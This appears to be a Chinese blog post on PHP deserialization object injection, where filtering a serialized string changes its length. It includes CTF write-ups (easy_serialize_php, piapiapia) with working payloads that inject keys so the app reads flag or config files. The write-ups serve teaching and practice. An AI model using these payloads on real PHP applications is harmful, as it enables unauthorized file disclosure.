PHP反序列化中过滤函数使用不当导致的对象注入
1.漏洞产生的原因
#### 正常的反序列化语句是这样的
$a='a:2:{s:8:"username";s:7:"dimpl3s";s:8:"password";s:6:"abcdef";}';
但是如果写成这样
$b='a:2:{s:8:"username";s:7:"dimpl3s";s:8:"password";s:6:"123456";}s:8:"password";s:6:"abcde";}';
也可以正常的编译, 而且下面一条语句的结果是 password=“123456” 而不是abcde
结果
这就说明一个问题,在反序列化的时候,只要求第一个序列化字符串合法就行,换我个理解,就是反序列话时,他会从前往后读取,当读取第一个合法的序列化的字符串时,就会反序列化。
### 当过滤用户输入参数的时候,如果先序列化再对序列化过后的字符串进行过滤,而且在过滤的过程中会导致原本的长度改变,就可能造成序列化对象注入漏洞。
此处参考别人的代码:
可以看到,这里过滤函数将原来的x换成了zz,但是长度却超过了原来的长度 ,但是原来长度的数字时没变的,这就导致报错。但是试想一下,如果这里的密码是可控的,然后我们输入字符
的时候带入双引号和} 会怎么样呢? 看如下代码
结果
第一排是我们构造的东西序列化过后的值,
第二排是序列化过后的值进行过滤过后的值,可以看到,此时由于x换成了z,而前面读40的时候正好会读到最后一个x,从而使我们输入的新对象得以注入,而且得到正常的反序列化。
第三排是反序列化过后的到的值,此时原本的aaaaaa的值已经被我们覆盖。
二:实例分析
根据上面的原因可知,产生漏洞最直接的原因是因为序列化过后的字符串被过滤的时长度发生变化, 根据这个这个原因,我们就可以把漏洞分为 长度变长,和长度变短两种情况,注意! 如果长度不变的话,不会引起漏洞产生。
(1) 长度变短。
题目: 安洵杯2019 easy_serialize_php // 在https://buuoj.cn/ 这个靶场里又复现
源码:
根据提示在phpinfo拿到
很显然答案在 d0g3_f1ag.php里面,关键是我们怎么去读取他的源码 ,可以看到最后一排的会获取 ['img'] 中的 的源码,我们仅需要覆盖img的值将他变成d0g3_f1ag.php就行。
在看这个过滤函数
他会使得输入的相应字符变为空,也就是让序列化后的字符串变短,我们就可以利用此来吞掉原本的变量名,而注入我们想注入的代码。
第一种解法:值逃逸
d0g3_f1ag.php的base64 编码 ZDBnM19mMWFnLnBocA== 长度20
在本地测试的时候得到正常的 序列化字符是这样的
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:3:"123";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
前者user,和function 的值都是我们可控的
我们想要构造的是 s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; 设想一下 ,如果我们把它设置function的值,并且在前面user的值利用过滤函数将后面的 "s:8:"function";s:xx:" 吞掉,那么function的值,也就是我们想要注入的对象,不就正好上位了吗? 但是注意闭合前面的由于吞掉而缺少的分号和双引号,而且,这里两个双引号紧挨着会报错,所以我们加一个字符,再把这个字符一起吞掉就行,还有 这里前面是 a:3: 所以我在最后还要添加一个属性。
payload
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
读到源码
再去修改payload的文件中的值,然后再去访问,发现什么也没有返回,然后尝试 /../d0g3_fllllllag 然后base64编码 去访问就会返回flag
(2)长度变长
题目 [0CTF] piapiapia // 同样在buu里又复现
wp参考这里 ->https://blog.csdn.net/zz_Caleb/article/details/96777110
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
红色部分是我们想要注入的,这道题的过滤函数有三个 ,但是导致长度变化的过滤是这个
where->hacker 多出了一个字符
但是另一个过滤使 nickname 有长度限制
这里strlen我们可以用数组绕过,但是如果使用数组就会引起序列化字符串产生变化
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
注意数组在序列化中的表示 是 先; 再 }
这里我进行了本地测试
结果:
红色部分为我们想注入的,蓝色的是我们提交payload的地方,后面实际上根本不用管
现在我们想的是通过where ->hacker 多了一个字符,这样使我们输入的nickname的值逃逸出去变成对象,
加上闭合前面的单引号和反括号 就是这样 ";}s:5:"photo";s:10:"config.php";}
一共就是34个字符, 一个where 逃逸出一个字符,这里就需要34个where
payload:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
三.总结
武汉加油!中国加油!我加油!
PHP反序列化中过滤函数使用不当导致的对象注入的更多相关文章
- PHP字符逃逸导致的对象注入
1.漏洞产生原因: 序列化的字符串在经过过滤函数不正确的处理而导致对象注入,目前看到都是因为过滤函数放在了serialize函数之后,要是放在序列化之前应该就不会产生这个问题 ?php functio ...
- c中gets函数使用可能导致缓冲区溢出
头文件:#include <stdio.h> gets()函数用于从缓冲区中读取字符串,其原型如下: char *gets(char *string); gets()函数从流中读取字 ...
- io流中read方法使用不当导致运行异常的一点
public class CopyMp3test { public static void main(String[] args) throws IOException { FileInputStre ...
- JS-比较函数中嵌套函数,可以排序【对象数组】
function createCompareFun(propertyName){ return function(object1,object2){ var value1 = object1[prop ...
- JavaScript中的函数表达式
在JavaScript中,函数是个非常重要的对象,函数通常有三种表现形式:函数声明,函数表达式和函数构造器创建的函数. 本文中主要看看函数表达式及其相关的知识点. 函数表达式 首先,看看函数表达式的表 ...
- JavaScript中valueOf函数与toString方法
基本上,所有JS数据类型都拥有valueOf和toString这两个方法,null除外.它们俩解决javascript值运算与显示的问题,本文将详细介绍,有需要的朋友可以参考下 JavaScrip ...
- fastjson反序列化使用不当导致内存泄露
分析一个线上内存告警的问题时,发现了造成内存告警的原因是使用fastjson不当导致的. 分析dump发现com.alibaba.fastjson.util.IdentityHashMap$Entry ...
- PHP索引数组+unset使用不当导致的问题
转自先知社区 https://xz.aliyun.com/t/2443 0x00前言 通常网站后台可以配置允许上传附件的文件类型,一般登录后台,添加php类型即可上传php文件getshell.但是, ...
- joomla \libraries\joomla\session\session.php 反序列化截断畸形字符串导致对象注入漏洞
catalog . 漏洞描述 . PHP SESSION持久化 . PHP 序列化/反序列化内核实现 . 漏洞代码分析 . POC构造技巧 . 防御方案 . Code Pathc方案 1. 漏洞描述 ...
随机推荐
- 「CH2401」送礼物 解题报告
CH2401 送礼物 描述 作为惩罚,GY被遣送去帮助某神牛给女生送礼物(GY:貌似是个好差事)但是在GY看到礼物之后,他就不这么认为了.某神牛有N个礼物,且异常沉重,但是GY的力气也异常的大(-_- ...
- Spring中常见的设计模式——代理模式
一.代理模式的应用场景 生活中的中介,黄牛,等一系列帮助甲方做事的行为,都是代理模式的体现.代理模式(Proxy Pattern)是指为题对象提供一种代理,以控制对这个对象的访问.代理对象在客户端和目 ...
- HBase学习笔记(四)—— 架构模型
在逻辑上,HBase 的数据模型同关系型数据库很类似,数据存储在一张表中,有行有列. 但从 HBase 的底层物理存储结构(K-V)来看,HBase 更像是一个 multi-dimensional m ...
- 小小知识点(三十九) 正交频分复用OFDM的基本原理及实现
引言 符号间干扰(ISI)是无线传输系统设计中需要考虑的因素,采用什么样的处理方法取决于数据传输速率或等效传输带宽来决定 (1)若数据速率低且与信道最大延迟相比符号持续时间较长,那么就可能无需任何均衡 ...
- ENS使用指南系列之一 [ 注册 .eth 域名详细教程 ]
ENS 域名系统中目前支持三种顶级域名,分别是 .eth .xyz .luxe.其中, .eth 是 ENS 系统的原生域名,是由一系列智能合约控制的去中心化的域名,另外两种是从互联网域名中接入的,要 ...
- JS单元测试及原理
单元测试 单元测试是指对软件中的最小可测试单元进行检查和验证,通过单元测试可以检测出潜在的bug,还可以快速反馈功能输出,验证代码是否达到预期,也可以保证代码重构的安全性. 有这样一个方法: let ...
- 基于 HTML5 + WebGL 的 3D 风力发电场
前言 风能是一种开发中的洁净能源,它取之不尽.用之不竭.当然,建风力发电场首先应考虑气象条件和社会自然条件.近年来,我国海上和陆上风电发展迅猛.海水.陆地为我们的风力发电提供了很好地质保障.正是 ...
- Task 线程重用导致等待!
测试代码: ; i < ; i++) { var d = DateTime.Now; Task.Run(() => { Console.WriteLine($"{Thread.C ...
- load文件到hive,并保存
DataFrame usersDF = sqlContext.read().load("hdfs://spark1:9000/users.parquet"); usersDF.se ...
- 毒瘤养成记1: 如何卡hash
各位毒瘤大家好, 最近模拟赛考了一道trie+主席树好题, 但大家都用hash水过了这道题(包括我), 为了测试一下新搭建的HEAT OJ的hack功能, 我将继续扮演毒瘤的角色, 用毒瘤的艺术形象努 ...